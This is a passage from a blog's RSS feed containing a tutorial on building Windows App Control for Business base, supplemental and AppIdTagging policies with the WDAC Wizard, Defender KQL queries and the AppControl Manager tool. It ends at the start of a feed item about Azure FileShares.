<th>Rule option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Advanced Boot Options Menu</td>
<td>The F8 preboot menu is disabled by default for all App Control for Business policies. Setting this rule option allows the F8 menu to appear to physically present users.</td>
</tr>
<tr>
<td>Allow Supplemental Policies</td>
<td>Use this option on a base policy to allow supplemental policies to expand it.</td>
</tr>
<tr>
<td>Disable Script Enforcement</td>
<td>This option disables script enforcement options. Unsigned PowerShell scripts and interactive PowerShell are no longer restricted to Constrained Language Mode. NOTE: This option is required to run HTA files, and is only supported with the Windows 10 May 2019 Update (1903) and higher. Using it on earlier versions of Windows 10 isn't supported and may have unintended results.</td>
</tr>
<tr>
<td>Hypervisor-protected code integrity (HVCI)</td>
<td>When enabled, policy enforcement uses virtualization-based security to run the code integrity service inside a secure environment. HVCI provides stronger protections against kernel malware.</td>
</tr>
<tr>
<td>Intelligent Security Graph Authorization</td>
<td>Use this option to automatically allow applications with &quot;known good&quot; reputation as defined by the Microsoft Intelligent Security Graph (ISG).</td>
</tr>
<tr>
<td>Managed Installer</td>
<td>Use this option to automatically allow applications installed by a software distribution solution, such as Microsoft Configuration Manager, that has been defined as a managed installer.</td>
</tr>
<tr>
<td>Require WHQL</td>
<td>By default, legacy drivers that aren't Windows Hardware Quality Labs (WHQL) signed are allowed to execute. Enabling this rule requires that every executed driver is WHQL signed and removes legacy driver support. Henceforth, every new Windows-compatible driver must be WHQL certified.</td>
</tr>
<tr>
<td>Update Policy without Rebooting</td>
<td>Use this option to allow future App Control for Business policy updates to apply without requiring a system reboot.</td>
</tr>
<tr>
<td>Unsigned System Integrity Policy</td>
<td>Allows the policy to remain unsigned. When this option is removed, the policy must be signed and have UpdatePolicySigners added to the policy to enable future policy modifications.</td>
</tr>
<tr>
<td>User Mode Code Integrity</td>
<td>App Control for Business policies restrict both kernel-mode and user-mode binaries. By default, only kernel-mode binaries are restricted. Enabling this rule option validates user mode executables and scripts.</td>
</tr>
</tbody>
</table>
</details>
<img src="\intune\appcontrol\appcontrol-wizard-rules.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>We can extend the policy rules further by expanding the <span style="color:crimson">Advanced Policy Rules</span>. In our example we keep that as is.</li>
</ol>
<details class="details custom-block"><summary>Advanced Policy Rule explanation</summary>
<table>
<thead>
<tr>
<th>Rule option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Boot Audit on Failure</td>
<td>Used when the App Control for Business policy is in enforcement mode. When a driver fails during startup, the App Control policy is placed in audit mode so that Windows loads. Administrators can validate the reason for the failure in the CodeIntegrity event log.</td>
</tr>
<tr>
<td>Disable Flight Signing</td>
<td>If enabled, App Control policies block flightroot-signed binaries. This option would be used in the scenario in which organizations only want to run released binaries, not flight/preview-signed builds.</td>
</tr>
<tr>
<td>Disable Runtime FilePath Rule Protection</td>
<td>This option disables the default runtime check that only allows FilePath rules for paths that are only writable by an administrator.</td>
</tr>
<tr>
<td>Dynamic Code Security</td>
<td>Enables policy enforcement for .NET applications and dynamically loaded libraries (DLLs).</td>
</tr>
<tr>
<td>Invalidate EAs on Reboot</td>
<td>When the Intelligent Security Graph option (14) is used, App Control sets an extended file attribute that indicates that the file was authorized to run. This option causes App Control to periodically revalidate the reputation for files authorized by the ISG.</td>
</tr>
<tr>
<td>Require EV Signers</td>
<td>This option isn't currently supported.</td>
</tr>
</tbody>
</table>
</details>
<img src="\intune\appcontrol\appcontrol-wizard-rules-advanced.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="6">
<li>Next up we see the <strong>file rule</strong> list which we adopt as is for the base policy.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard-rules2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>Now we can click <code>Next</code> to build the policy, which we can then use to upload to Intune's <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Workflows/SecurityManagementMenu/~/appControl" target="_blank" rel="noreferrer">App Control for Business</a>.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard-rules3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="8">
<li>When we proceed to look at the newly built XML file, we can see the main rules we selected in the wizard right at the top.</li>
</ol>
<img src="\intune\appcontrol\xml-base1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<p>And at the bottom we find the <span style="color:crimson">Policy ID</span> which we will need when we create a supplemental policy.</p>
<img src="\intune\appcontrol\xml-base2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h3 id="suplemental-policy" tabindex="-1">Suplemental Policy <a class="header-anchor" href="#suplemental-policy" aria-label="Permalink to &quot;Suplemental Policy&quot;">&ZeroWidthSpace;</a></h3>
<p>Now that we have created our base policy, we can create a supplemental policy to add custom exceptions for the software we want to specifically allow.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If the software gets deployed via Intune, the managed installer rule will already trust it, so you only need a supplemental policy if you want to allow software that is not deployed via Intune or uses an auto updater (see the <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/configure-authorized-apps-deployed-with-a-managed-installer#known-limitations-with-managed-installer" target="_blank" rel="noreferrer">known limitations</a> of the managed installer rule mentioned before).</p>
</div>
<ol>
<li>We start the wizard again, but this time we select <span style="color:crimson">Supplemental Policy</span> as the policy type.
Now a few fields pop up in which, after the policy name, we either need to enter the <span style="color:crimson">Base Policy ID</span> we looked at before or browse directly for the base policy xml and let the system get the ID for us.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>After that we jump directly to the policy rules, where the rules from the base policy are already preselected and can not be changed. Except the 3 rules shown below, which we can change after the fact.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>What we created this policy for we find in the next screen, where we can add custom file rules. For that we click <code>+ Add Custom Rule</code> at the top right.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="4">
<li>Now a different window pops up, where we can select the rule conditions.
<ul>
<li><strong>Rule Scope:</strong> Usermode Rule / Kernel Rule</li>
<li><strong>Rule Action:</strong> Allow / Deny</li>
<li><strong>Rule Type:</strong> Publisher / Path / File Attributes / Packaged App / File Hash / COM Object / Folder Scan</li>
<li><strong>Reference File</strong></li>
</ul>
</li>
</ol>
<details class="details custom-block"><summary>Rule Scope explanation</summary>
<ul>
<li>
<p><strong>Usermode:</strong> Applies to processes and applications that run in user space (ring 3).
This covers typical executables, scripts, DLLs and applications that users or admins start.</p>
</li>
<li>
<p><strong>Kernel mode:</strong> Applies to code that runs in kernel space (ring 0).
This covers drivers, kernel modules and any low-level components that interact with the operating system core.</p>
</li>
</ul>
<p>You can learn more about <strong>Protection Rings</strong> <a href="https://en.wikipedia.org/wiki/Protection_ring" target="_blank" rel="noreferrer">here</a>.</p>
</details>
<details class="details custom-block"><summary>Rule Type explanation</summary>
<ul>
<li><strong>Publisher:</strong> Publisher rules base file rules on properties in the code signing certificate chain.</li>
<li><strong>Path:</strong> File path rules are less secure than signer rules since they rely on changeable access permissions.</li>
<li><strong>File Attributes:</strong> The Wizard can create file name rules from authenticated attributes, useful when apps and their dependencies (e.g., DLLs) share the same product name</li>
<li><strong>Packaged App:</strong> MSIX app files share a common catalog signature. You can create a signer rule from the installer (.msix/.msixbundle) or the AppxSignature.p7x in the installation folder.</li>
<li><strong>File Hash:</strong> The Wizard can create file rules by file hash, but maintaining hash values for current product versions can add administrative overhead.</li>
<li><strong>COM Object:</strong> App Control for Business enforces a built-in allowlist for COM object registration. You can add more COM objects if needed to support your organization’s apps.</li>
<li><strong>Folder Scan:</strong> Scan a folder to create file rules for all contained files. Useful for shared network folders or folders with portable apps.</li>
</ul>
</details>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental_rule.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<p>When we select the Rule Type <code>Publisher</code> or <code>File Attributes</code>, we get additional options to further specify the rule.</p>
<details class="details custom-block"><summary>Publisher explanation</summary>
<table>
<thead>
<tr>
<th>Rule Condition</th>
<th>App Control Rule Level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Issuing CA</td>
<td>PCACertificate</td>
<td>Highest available certificate is added to the signers. This certificate is typically the PCA certificate, one level below the root certificate. Any file signed by this certificate is affected.</td>
</tr>
<tr>
<td>Publisher</td>
<td>Publisher</td>
<td>This rule is a combination of the PCACertificate rule and the common name (CN) of the leaf certificate. Any file signed by a major CA but with a leaf from a specific company, for example, a device driver corp, is affected.</td>
</tr>
<tr>
<td>File version</td>
<td>SignedVersion</td>
<td>This rule is a combination of PCACertificate, publisher, and a version number. Anything from the specified publisher with a version at or above the one specified is affected.</td>
</tr>
<tr>
<td>File name</td>
<td>FilePublisher</td>
<td>Most specific. Combination of the file name, publisher, and PCA certificate and a minimum version number. Files from the publisher with the specified name and greater or equal to the specified version are affected.</td>
</tr>
</tbody>
</table>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental_rule_Publisher.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
</details>
<details class="details custom-block"><summary>File Attributes explanation</summary>
<table>
<thead>
<tr>
<th>Rule level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Original Filename</td>
<td>Specifies the original file name, or the name with which the file was first created, of the binary.</td>
</tr>
<tr>
<td>File description</td>
<td>Specifies the file description provided by the developer of the binary.</td>
</tr>
<tr>
<td>Product name</td>
<td>Specifies the name of the product with which the binary ships.</td>
</tr>
<tr>
<td>Internal name</td>
<td>Specifies the internal name of the binary.</td>
</tr>
</tbody>
</table>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental_rule_FileAttributes.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
</details>
<ol start="5">
<li>When we are done configuring the rule, we just click <code>Create Rule</code> and after that <code>Next</code> to build the policy.</li>
</ol>
<img src="\intune\appcontrol\appcontrol-wizard_suplemental_rule2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="6">
<li>We now proceed to look at the XML file, the <span style="color:crimson">Policy ID of the supplemental Policy</span> and the <span style="color:crimson">Base Policy ID</span> we created before are right at the top.
Beneath that we can see the custom rule we created.</li>
</ol>
<img src="\intune\appcontrol\xml-suplemental.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<h3 id="edit-policy" tabindex="-1">Edit Policy <a class="header-anchor" href="#edit-policy" aria-label="Permalink to &quot;Edit Policy&quot;">&ZeroWidthSpace;</a></h3>
<p>If we now want to edit an existing policy or use a more convenient possibility to add a lot of policies at once, we can go back to the main screen and click on <code>Policy Editor</code>.</p>
<p>Here we can now simply load an existing policy and edit it like we did at time of creation or we can select <code>Convert Event Log to a WDAC Policy</code>and use logs to create rules for us.
We can either let the Wizard search our device for the event logs needed, use a saved event log file (.evtx) or we can use a KQL query to get the data from Microsoft Defender or Log Analytics.
This way we can gather a lot of information about what apps are running in our environment and create rules for them.</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Be aware that if you don't restrict your KQL query, the results can be overwhelming at first, especially when you did not restrict any apps in the past.</p>
</div>
<img src="\intune\appcontrol\wdac_edit.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>As soon as you parsed the data, you click <code>Next</code> and the wizard will show you all the apps it found, which you can then select to create <strong>Allow</strong> rules for by clicking <code>+ Add Allow</code>.
Then click <code>Next</code> again and the wizard will edit the policy for you.</p>
<img src="\intune\appcontrol\wdac_edit2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>Below you find the recommended KQL query to get all the necessary information and the fields the Wizard needs.</p>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DeviceEvents</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// Take only App Control events</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">startswith</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'AppControlCodeIntegrity'</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// SigningInfo Fields</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> IssuerName = parsejson(AdditionalFields).IssuerName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> IssuerTBSHash = parsejson(AdditionalFields).IssuerTBSHash</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PublisherName = parsejson(AdditionalFields).PublisherName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PublisherTBSHash = parsejson(AdditionalFields).PublisherTBSHash</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// Audit/Block Fields</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> AuthenticodeHash = parsejson(AdditionalFields).AuthenticodeHash</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PolicyId = parsejson(AdditionalFields).PolicyID</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">extend</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PolicyName = parsejson(AdditionalFields).PolicyName</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// Keep only required fields for the App Control Wizard</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">project-keep</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp,DeviceId,DeviceName,ActionType,FileName,FolderPath,SHA1,SHA256,IssuerName,IssuerTBSHash,PublisherName,PublisherTBSHash,AuthenticodeHash,PolicyId,PolicyName</span></span></code></pre>
</div><h3 id="appidtagging-policy" tabindex="-1">AppIDTagging Policy <a class="header-anchor" href="#appidtagging-policy" aria-label="Permalink to &quot;AppIDTagging Policy&quot;">&ZeroWidthSpace;</a></h3>
<p>The App Control Policy Wizard has a new feature since June 2025 to create <span style="color:crimson">AppIdTagging Policies</span>.
This Policy is built on App Control for Business but does not determine whether applications are allowed to run.
Instead, these policies <span style="color:crimson">assign a custom tag to the processes of running applications</span>.
Any application that meets the AppId policy criteria receives the tag. Those that do not simply remain untagged.</p>
<div class="danger custom-block"><p class="custom-block-title">Opinion</p>
<p>This capability lays the groundwork for expanding the Managed Installer feature.
By tagging processes with custom identifiers, you will likely be able to create Managed Installer rules for them in the future.
This approach will let you authorize tagged processes to run without relying on specific executables, deployment methods, or tags that may disappear after updates.</p>
</div>
<ol>
<li>On the <strong>Policy Type</strong> screen of the <strong>App Control Policy Wizard</strong>, select <code>AppIdTagging Policy</code>.</li>
</ol>
<img src="\intune\appcontrol\tagging-policy.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="2">
<li>On the <strong>Policy Template</strong> screen you can only change two settings.
<ul>
<li><strong>Update Policy without Rebooting</strong></li>
<li><strong>Disable Runtime Filepath Rules</strong></li>
</ul>
</li>
<li>When you proceed to the <strong>Policy Rules</strong> screen, you see the pre-defined AppID Tag and can now add additional tags.</li>
</ol>
<img src="\intune\appcontrol\tagging-policy-rules.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>If you click <code>+ Add Custom Rule</code> to create an additional tag, you will see the standard custom rule window you are familiar with.
Here you can define the <code>Key</code> (e.g. 'TestTag') and 'True' as <code>Value</code>.</p>
<img src="\intune\appcontrol\tagging-policy-rules-custom.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<p><u>Verifying Tags on Running Processes</u></p>
<p>To verify that the application processes have been tagged correctly, you can use the <span style="color:crimson">WinDbg</span> application from Microsoft.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Keep in mind that any processes already running before the policy was applied must be restarted, as App Control for Business only tags processes started after deployment.</p>
</div>
<ol>
<li>
<p><a href="https://www.microsoft.com/store/productId/9PGJGD53TN86" target="_blank" rel="noreferrer">Download</a> and Install the <strong>Microsoft's WinDbg application</strong></p>
</li>
<li>
<p>Get the Process ID (PID) of the process you want to check from Task Manager</p>
</li>
</ol>
<img src="\intune\appcontrol\verify-tagging1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>Now open WinDbg to inspect the process
<ul>
<li>Select <strong>File</strong> -&gt; <strong>Attach to Process</strong> and search for the PID identified before</li>
<li>Click <code>Attach</code> to connect to the process.</li>
</ul>
</li>
</ol>
<img src="\intune\appcontrol\verify-tagging2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="4">
<li>Next type <code>!token</code> in the textbar below the Command window and press Enter to see the security attributes off the process<br>
Under <strong>POLICYAPPID://</strong> you find the key you set in the policy and its corresponding value in the <strong>Value[0]</strong> field.</li>
</ol>
<img src="\intune\appcontrol\verify-tagging3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can find more information about Appid Tagging in the <a href="https://learn.microsoft.com/en-gb/windows/security/application-security/application-control/app-control-for-business/appidtagging/appcontrol-appid-tagging-guide" target="_blank" rel="noreferrer">AppId Tagging guide - Microsoft Learn</a></p>
</div>
<h2 id="appcontrol-manager" tabindex="-1">🛡️ AppControl Manager <a class="header-anchor" href="#appcontrol-manager" aria-label="Permalink to &quot;:shield: AppControl Manager&quot;">&ZeroWidthSpace;</a></h2>
<p><span style="color:crimson">AppControl Manager</span> is a brilliant community tool <span style="color:crimson">by HotCakeX</span> (<a href="https://mvp.microsoft.com/en-US/mvp/profile/4edbca65-7979-4779-b7e4-d182e123259b" target="_blank" rel="noreferrer">Violet Hansen - MVP</a>) that provides a nice graphical user interface to manage App Control and Code Integrity policies. It is escpecially useful when you want better UI then the WDAC Wizard provides or when you want to manage App Control policies in Bulk.</p>
<p>You can install it directly through the Microsoft Store:</p>
<p><a href="https://apps.microsoft.com/detail/9png1jddtgp8?mode=direct" target="_blank"><img src="\intune\appcontrol\Manager_Download.svg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="Download" width="200" loading="lazy"/></a></p>
<p>or use Winget:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget install </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">id 9PNG1JDDTGP8 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">exact </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">package</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">agreements </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">source</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">agreements </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">force </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">source msstore</span></span></code></pre>
</div><p>When we start the app, we got quite a few options to choose from:</p>
<ul>
<ul>
<li>Policies creation</li>
<li>Certification handling</li>
<li>Log Processing</li>
<li>Policy editing</li>
<li>Information gathering</li>
<li>Policy Management</li>
<li>Documentation</li>
<li>Logs</li>
</ul>
</ul>
<img src="\intune\appcontrol\AppManager.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>I won’t go over all the features here, since <span style="color:crimson">Violet</span> has already done such a phenomenal job covering them in her own <a href="https://www.youtube.com/watch?v=SzMs13n7elE" target="_blank" rel="noreferrer">YouTube video</a>.
Instead, I’ll show how to easily edit and expand supplemental policies, because that is what I use the tool for the most.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want to learn even more about the tool, check out the complete Wiki on the <a href="https://github.com/HotCakeX/Harden-Windows-Security/wiki/AppControl-Manager" target="_blank" rel="noreferrer">AppControl Manager - Github Page</a>.</p>
</div>
<p>In our scenario, we already created a base policy like shown before and created a suplemental policy with the WDAC Wizard.
But now we want to add more rules to the suplemental policy and that conviniently in bulk.</p>
<ol>
<li>We start the AppControl Manager and select <code>MDE Advanced Hunting</code>.</li>
<li>The AppControl Manager will now ask to relaunch it as admin to use this feature.</li>
<li>Next we can use the built-in KQL query to get the necessary data from Defender for Endpoint.
<ul>
<li>Use either the Cloud tab to let AppControl Manager ingest the data directly via Graph.</li>
<li>Or use the Local tab to import a saved .csv file with the data. For that we can take the KQL query I provided before or one of the examples in the cloud tab and use that in the <strong>Defender admin Portal</strong> &rarr; <strong>Investigation &amp; Response</strong> &rarr; <strong>Hunting</strong> &rarr; <a href="https://dehunting.cmd.ms" target="_blank" rel="noreferrer">Advanced Hunting</a>.</li>
</ul>
</li>
</ol>
<details class="details custom-block"><summary>Advanced Hunting</summary>
<p>Copy the code in the <strong>Query</strong> window and click on the <code>Run Query</code> button.</p>
<img src="\intune\appcontrol\MDE-hunting.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>After that you can export the results as a .csv file by clicking <code>Export</code> &rarr; <code>Download to CSV</code>.</p>
<img src="\intune\appcontrol\MDE-hunting-export.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
</details>
<img src="\intune\appcontrol\appcontrol-mde-cloud.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<img src="\intune\appcontrol\appcontrol-mde-local.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>Now when we exported a .csv file, we need to parse them in the <strong>Local</strong> tab.
This is done by clicking <code>Browsing for MDE Advanced Hunting logs</code>, selecting the .csv file and then clicking <code>Scan Logs</code>.</li>
</ol>
<img src="\intune\appcontrol\appmanager-ingested.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="5">
<li>After the scan, independ of the method you used to get the data, we now need to look through the results to make sure we <span style="color:crimson">only make Allow rules for software we actually want to allow</span>. The apps we don't want to allow, we can simply delete from the list.</li>
<li>Then select the <strong>Create</strong> tab, click on the drop down next to <code>Add logs to the selected policy</code> &rarr; <code>Add to Policy</code> and browse for the suplemental policy we created before.</li>
</ol>
<img src="\intune\appcontrol\appmanager-ingested-add.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="7">
<li>After selecting the policy, we can click <code>Add logs to the selected policy</code> and the AppControl Manager will add all the rules for us to the suplemental policy. Following that we can click on <code>Additional Actions</code> if we want to take further actions like look at the changed policy.</li>
</ol>
<img src="\intune\appcontrol\appmanager-ingested-add2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>App Control for Business isn’t just a security feature, it’s a practical way to take control of the apps in your environment and protect your organization.
With <span style="color:crimson">Intune</span>, the <span style="color:crimson">WDAC Wizard</span> and the <span style="color:crimson">AppControl Manager</span> community tool, you have everything you need to start building and rolling out policies today.
Begin small, test your configurations and grow your setup step by step.
You’ll quickly see how these tools make it easy to strike the right balance between security and usability and your environment will be much safer for it.</p>
<p><span style="color:crimson">So don’t wait:</span> set up your first policy, give your organization safer ways to work and move your security forward.</p>
<p><u>My best practice</u></p>
<p>A practical way I approach app control is by combining the strengths of the different tools.
I start by using the built-in Intune controls to create a solid base policy, that I can easily switch between Audit and enforce mode.
Then, with the WDAC Wizard or AppControl Manager, I generate an empty supplemental policy.
From there, I pull the last 30 days of logs from all devices through Defender for Endpoint using KQL and parse them with AppControl Manager to automatically build the necessary exceptions.</p>
<p>This method gives me a reliable baseline that I can first run in audit mode to observe the impact.
Once I’m confident the policy works as intended, I gradually move into enforcement, step by step, without disrupting my users.</p>
<p>If you want to go deeper into the subjects or tools I talked about, like adding Certificates to your policies and so on, I recommend checking out the resources below.</p>
<p><u>Resources</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/" target="_blank" rel="noreferrer">Application Control for Windows - Microsoft Learn</a></li>
<li><a href="https://webapp-wdac-wizard.azurewebsites.net/" target="_blank" rel="noreferrer">App Control Policy Wizard Download - Microsoft</a></li>
<li><a href="https://github.com/HotCakeX/Harden-Windows-Security/wiki/AppControl-Manager" target="_blank" rel="noreferrer">AppControl Manager - Github Page</a></li>
<li><a href="https://www.youtube.com/watch?v=SzMs13n7elE" target="_blank" rel="noreferrer">Introducing AppControl Manager - YouTube</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[New Azure FileShare | Azure]]></title>
            <link>https://michaelsendpoint.com/azure/FileShare.html</link>
            <guid>https://michaelsendpoint.com/azure/FileShare.html</guid>
            <pubDate>Fri, 12 Sep 2025 00:05:33 GMT</pubDate>
            <description><![CDATA[Microsoft.FileShares is a new Azure resource that allows you to create and manage file shares directly, simplifying administration and enhancing flexibility.]]></description>
            <content:encoded><![CDATA[<img src="\azure\fileshare\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
